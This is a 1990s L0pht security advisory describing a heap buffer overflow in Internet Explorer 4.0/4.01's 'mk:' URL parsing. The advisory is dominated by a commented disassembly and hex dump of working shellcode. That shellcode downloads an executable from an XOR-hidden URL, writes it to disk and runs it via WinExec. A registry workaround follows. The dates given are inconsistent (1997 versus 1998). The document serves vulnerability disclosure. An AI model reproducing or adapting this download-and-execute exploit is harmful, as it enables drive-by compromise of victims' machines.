Executing Code on Internet Explorer 4.0 and 4.01

Reported January 13, 1997 by The L0pht

Systems Affected

Windows 95 OSR1, OSR2 running IE3.0x+Infoviewer, IE4.0, IE4.01 Windows NT Workstation/Server running IE4.0,IE4.01

Description:

Document: L0pht Security Advisory
URL Origin: http://l0pht.com/advisories.html
Release Date: January 14th, 1998
Application: Microsoft Internet Explorer 4.0(1) Suite
Severity: Viewing remote HTML content can execute arbitrary native code
Author: dildog@l0pht.com
Operating Sys: Windows 95 and Windows NT

========
Scenario
========

TAKE TWO!

The Microsoft Internet Explorer 4.0(1) Suite, including all programs supplied
with it that read and/or process HTML from either local machines, intranet
machines, or remote internet machines are subject to a buffer overflow in the
HTML decoding process. The buffer overflow can cause the application to page
fault, or in the worst case, execute arbitrary precompiled native code.

Unlike the res:// bug, found a few months ago, this bug _does_ affect
Windows NT as well as Windows 95.

It has also been reported that this bug affects Internet Explorer 3.0 if
you have Visual Studio (VC++/J++ etc) installed on your system. Though this
may be true, and if so, exploitable, there has not been exploit code written
up for it.

Currently, sample exploit code has been written for:

Windows 95 OSR1 and OSR2 running IE4.0 or IE4.01

Systems known vulnerable:

Windows 95 OSR1, OSR2 running IE3.0x+Infoviewer, IE4.0, IE4.01
Windows NT Workstation/Server running IE4.0,IE4.01

=======
Example
=======

Much like the res:// overflow, this bug can be seen in action by clicking on
a link -or- having the browser auto-refresh to a URL with the executable
code in the url. Please look at the L0pht Advisory homepage for this bug for
a detailed example of the problem.

===============
Technical Details
===============

The problem here lies in the deciphering of the URL line format itself. The
base HTML library that is used by the Internet Explorer 4.0 Suite and the
following programs are vulnerable:

- Outlook Express (both mail and news)
- Windows Explorer
- Internet Explorer (different than regular explorer, really)

This problem, because it stems from a programming flaw in the HTML decoding
system, is unaffected by the Explorer "Security Zones" feature. In other
words, if you turn on the highest security level for the zone from where the
exploit HTML is being viewed, you are still vulnerable.

The critical problem here is a buffer overflow in the parsing of a particular
new type of URL protocol. The "mk:" type of URL is meant to access
proprietary Microsoft 'InfoViewer Topics', as exhibited by the InfoViewer of
Visual Studio, and the Help System of IE4.0(1).

For example, the URL for the Microsoft IE4.0 help system is:

mk:@MSITStore:C:\WINDOWS\Help\iexplore.chm::/iexplore_welcome.htm

The buffer overflow is not a standard stack overflow, but rather a _heap_
overflow. This complicated coding exploits, but is, nonetheless, do-able.

========
Solution
========

Currently, there is no solution available for this flaw. You can't set any
Internet Explorer options to avoid it, and you are not protected by any
level of zone security. Simply don't surf the web, read email or view
net news using Internet Explorer 4.0(1) until Microsoft puts up a hotfix.

Demonstration Code:

============
Exploit Code
============
Ok. This time, I'm going to assume you know something about stack overflows
and writing generic buffer overflow scripts. If you're lost already, then the
rest of this sure as hell ain't going to make any sense to you.

The exploit code overflows a buffer on the heap, overwriting a few critical
heap variables and, eventually leaving the EIP at a ridiculous point in the
middle of URLMON.DLL ready to crash, unless you, bold coder, know what to
stuff in those registers.

Turns out that when you overflow that heap buffer, you can stuff a value
right into EAX. This is important, because the critical code section that you
reach looks like this:
(URLMON!.text+)
014F:702A365E 8B08 MOV ECX,[EAX]
014F:702A3660 50 PUSH EAX
014F:702A3661 FF5108 CALL [ECX+08]

(Incidentally, all the addresses here are for DLL's provided with IE4.01
not IE4.0. The code is similar for IE4.0. Just different offsets. Onward.)
You need that CALL [ECX+08] to jump to something useful. The place where
it jumps is to a location in URLMON.DLL (or was it MSHTML.DLL, I forget.)
that has an instruction that looks like CALL ECX. To get the NULL bytes and
things in the right places involves a little finagling of the string using
%00, and the null-terminator of the URL. It's really fun. Trust me.

After that CALL ECX happens, your EIP points to a piece of code that is
in your exploit space. Then, just jump to the beginning of the exploit code
and start having fun. I used CALL to save a byte. (Who cares about the stack
now anyway? You've already blown it to hell.)
Ok. Here's it. (Described in terms of IE4.01)
Commented disassembly: (starting at mk:@ivt:cDc/...)
> Skip over the jump tables
0057CC7C: 3BC0 cmp eax,eax
0057CC7E: 7468 je 00057CCE8
> blah blah blah
0057CC80: 90 nop
0057CC81: 90 nop
0057CC82: 90 nop
> Jump tables start here for WININET.DLL functions
> WinInet Function addresses:
>
> (dated 9/18/97) IE4.0 (dated 11/18/97) IE4.01
> InternetOpenA 0x702120B9 0x70211817
> InternetOpenUrlA 0x7021949F 0x70219345
> InternetCloseHandle 0x7020422B 0x7020422E
> InternetReadFile 0x7020E2DC 0x7020E3C4
0057CC83: BFE9E7DE8F mov edi,08FDEE7E9 (InternetOpenA)
0057CC88: F7DF neg edi
0057CC8A: FFE7 jmp edi
0057CC8C: BFBB6CDE8F mov edi,08FDE6CBB (InternetOpenUrlA)
0057CC91: F7DF neg edi
0057CC93: FFE7 jmp edi
0057CC95: BFD2BDDF8F mov edi,08FDFBDD2 (InternetCloseHandle)
0057CC9A: F7DF neg edi
0057CC9C: FFE7 jmp edi
0057CC9E: BF88C741E0 mov edi,0E041C788 (InternetReadFile)
0057CCA3: D1EF shr edi,1
0057CCA5: FFE7 jmp edi
> End WININET Jump Table
0057CCA7: 90 nop
> Start Kernel Offset Table for Win95 OSR 2 (no bad characters/nulls/otherwise!)
> Win95B Function addresses:
>
> WinExec (0xBFF9D330)
> _lopen (0xBFF773FB)
> _lclose (0xBFF98283)
> _lwrite (0xBFF9CDE8)
> _lcreat (0xBFF9CDBE)
> ExitProcess (0xBFF8AECD)
> GlobalAlloc (0xBFF74904)
0057CCA8: 30 D3 F9 BF-FB 73 F7 BF-83 82 F9 BF-E8 CD F9 BF
0057CCB8: BE CD F9 BF-CD AE F8 BF-04 49 F7 BF-
> Start Kernel Offset Table for Win95 OSR 1 (no bad ones here either!)
> Win95A Function addresses:
>
> WinExec (0xBFF9D330)
> _lopen (0xBFF773FB)
> _lclose (0xBFF98283)
> _lwrite (0xBFF9CDE8)
> _lcreat (0xBFF9CDBE)
> ExitProcess (0xBFF8AECD)
> GlobalAlloc (0xBFF74904)
0057CCC4: F8 CF F9 BF-B7 72 F7 BF-CF 80 F9 BF-B0 CA F9 BF
0057CCD4: 86 CA F9 BF-B0 AF F8 BF-04 49 F7 BF-
> blah blah blah
0057CCE4: 90 nop
0057CCE5: 90 nop
0057CCE6: 90 nop
0057CCE7: 90 nop
0057CCE8: 90 nop
> check windows kernel version by querying random byte that happens to
> be different in the two versions. Also, set up ESI to be a pointer to
> the kernel offset table for the correct version.
0057CCE9: BB8BFFF7BF mov ebx,0BFF7FF8B
0057CCEE: 2AFF sub bh,bh
0057CCF0: 8BF5 mov esi,ebp
0057CCF2: B032 mov al,032
0057CCF4: 3803 cmp [ebx],al
0057CCF6: 750E jne 00057CD06
0057CCF8: 33C0 xor eax,eax
0057CCFA: B05F mov al,05F
0057CCFC: 90 nop
0057CCFD: 03F0 add esi,eax
0057CCFF: 720E jb 00057CD0F
0057CD01: 90 nop
0057CD02: 90 nop
0057CD03: 90 nop
0057CD04: 90 nop
0057CD05: 90 nop
0057CD06: 33C0 xor eax,eax
0057CD08: B07B mov al,07B
0057CD0A: 90 nop
0057CD0B: 03F0 add esi,eax
0057CD0D: 90 nop
0057CD0E: 90 nop
0057CD0F: 90 nop
> ESI is now a pointer to the first function the the appropriate kernel
> offset table. Now, we need to decode our 'data segment'. Do so, by XOR'ing
> (ADD'ing) each byte of the data area with 0x80. This prevents people from
> seeing what we're doing, as well as keeping out null characters and bad
> stuff in the exploit string.
0057CD10: 33C9 xor ecx,ecx
0057CD12: 66B95D01 mov cx,0015D
0057CD16: 03CD add ecx,ebp
0057CD18: B238 mov dl,038 ;"8"
0057CD1A: 800180 add b,[ecx],080 ;"Ç
0057CD1D: 41 inc ecx
0057CD1E: 4A dec edx
0057CD1F: 75F9 jne 00057CD1A ----
0057CD21: 90 nop
0057CD22: 90 nop
> It becomes clear where we're going :)
> Let's allocate some memory. 65535 bytes to be precise.
0057CD23: 66BAFFFF mov dx,0FFFF ;"__"
0057CD27: 52 push edx
0057CD28: 33D2 xor edx,edx
0057CD2A: 52 push edx
0057CD2B: FF5618 call d,[esi][00018]
0057CD2E: 8BD8 mov ebx,eax
> Ok. Now we go ahead and call InternetOpenA and keep that Internet handle
> in EAX. Why do I call this function twice? I don't know. I was debugging
> and I never took it out. NOP it if you want. I don't care.
0057CD30: 33D2 xor edx,edx
0057CD32: 52 push edx
0057CD33: 52 push edx
0057CD34: 52 push edx
0057CD35: 52 push edx
0057CD36: 90 nop
0057CD37: 6681C25D01 add dx,0015D
0057CD3C: 03D5 add edx,ebp
0057CD3E: 52 push edx
0057CD3F: E83FFFFFFF call 00057CC83
0057CD44: E83AFFFFFF call 00057CC83
> Now we call InternetOpenUrlA, getting us ready to download a file from
> the net into that buffer we allocated
0057CD49: 33D2 xor edx,edx
0057CD4B: 52 push edx
0057CD4C: 52 push edx
0057CD4D: 6AFF push 0FF
0057CD4F: 52 push edx
0057CD50: 6681C26501 add dx,00165
0057CD55: 03D5 add edx,ebp
0057CD57: 52 push edx
0057CD58: 50 push eax
0057CD59: E82EFFFFFF call 00057CC8C
> We then go ahead and call InternetReadFile, downloading 65535 bytes from the
> net and into the buffer.
0057CD5E: 8BD5 mov edx,ebp
0057CD60: 83C230 add edx,030
0057CD63: 90 nop
0057CD64: 90 nop
0057CD65: 52 push edx
0057CD66: 2BC9 sub ecx,ecx
0057CD68: 6649 dec cx
0057CD6A: 51 push ecx
0057CD6B: 53 push ebx
0057CD6C: 50 push eax
0057CD6D: E82CFFFFFF call 00057CC9E
> Call _lcreat, and make us a place to store what we downloaded.
0057CD72: 33D2 xor edx,edx
0057CD74: 52 push edx
0057CD75: 6681C25D01 add dx,0015D
0057CD7A: 03D5 add edx,ebp
0057CD7C: 52 push edx
0057CD7D: FF5610 call d,[esi][00010]
> ok, call _lwrite and write the buffer to the file.
0057CD80: 8BD5 mov edx,ebp
0057CD82: 83C230 add edx,030 ;"0"
0057CD85: 8B12 mov edx,[edx]
0057CD87: 52 push edx
0057CD88: 53 push ebx
0057CD89: 50 push eax
0057CD8A: 8BD8 mov ebx,eax
0057CD8C: FF560C call d,[esi][0000C]
> Close the file with _lclose.
0057CD8F: 53 push ebx
0057CD90: FF5608 call d,[esi][00008]
> Now run what we downloaded by calling WinExec!
0057CD93: 33D2 xor edx,edx
0057CD95: 42 inc edx
0057CD96: 52 push edx
0057CD97: 6681C25C01 add dx,0015C
0057CD9C: 03D5 add edx,ebp
0057CD9E: 52 push edx
0057CD9F: FF16 call d,[esi]
> And go ahead and kill the Internet Explorer process. It's pretty
> bung'd out by now, and if we don't kill it, it will kill itself :)
0057CDA1: FF5614 call d,[esi][00014]
> The rest of this is left as an exercise to the reader, and is really only
> worth about 5 minutes of staring at. (Though it took about 5 or so hours to
> come up with!) Basically, you just gotta play around with your debugger
> and work those registers. Be clever, and you'll get something like this:
0057CD98: - - -2D 2D E6 EF
0057CDA8: EF AE E5 F8-E5 80 E8 F4-F4 F0 BA AF-AF F7 F7 F7
0057CDB8: AE EC B0 F0-E8 F4 AE E3-EF ED AF FE-E4 E9 EC E4
0057CDC8: EF E7 AF E9-E5 B4 DF ED-EB AF E6 EF-EF AE E5 F8
0057CDD8: E5 80 AD AD-AD AD AD AD-F3 9A 57 25-30 30 2D 2D
0057CDE8: 2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D
0057CDF8: 2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D-2D 24 25 26
0057CE08: 27 28 29 2A-2B 2C 2D 2E-2F 30 31 32-33 34 35 36
0057CE18: 37 38 39 3A-3B 3C 3D 3E-3F 40 80 81-82 83 84 85
0057CE28: 86 87 88 E9-E8 4B FE FF-FF C0 74 F7-8A 2F 27 70
0057CE38: DB CD 57 22-3E 0D 0A 57-68 65 6E 20-79 6F 75 27
0057CE48: 72 65 20 72-65 61 64 79-2C 20 63 6C-69 63 6B 20
0057CE58: 68 65 72 65-2E 0D 0A 3C-2F 61 3E 0D-0A 3C 2F 63
0057CE68: 65 6E 74 65-72 3E 0D 0A-3C 2F 62 6F-64 79 3E 0D
0057CE78: 0A 3C 2F 68-74 6D 6C 3E-0D 0A 0D 0A-0D 0A 0D 0A
0057CE88: 0D 0A - - -
> Phew!

Anyway. The short and long of all that disassembly is this:
1. It downloads a <64K file from the internet (any URL)
Using the current firewall and proxy settings...
2. It saves it as "foo.exe" on your desktop (probably)
3. It runs the executable.
4. To see which URL it is downloading, just XOR the tail end of the
exploit string with 0x80's.

Hope you caught all that.
dildog@l0pht.com (01/13/97)
-------------------------------------------------------------------------------
For more L0pht (that's L - zero - P - H - T) advisories check out:
http://l0pht.com/advisories.html

Microsoft's Response:

unknown at this time

Temporary Fix:

Dildog writes: "By no means is this official. If it breaks your system, it's yer own damn fault, not mine. But hey, it's all yer getting until Microsoft patches it.

If you look in the registry, you'll see a key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\mkenabled

it usually says "yes". make it say "no"

Thanks to Umit Tiric (umittiric@bdp.com.tr) for pointing out this fix."

To learn more about new NT security concerns, subscribe to NTSD.

Credit:
Reported by: The L0pht
Posted here at NTSecurity.Net February 15, 1997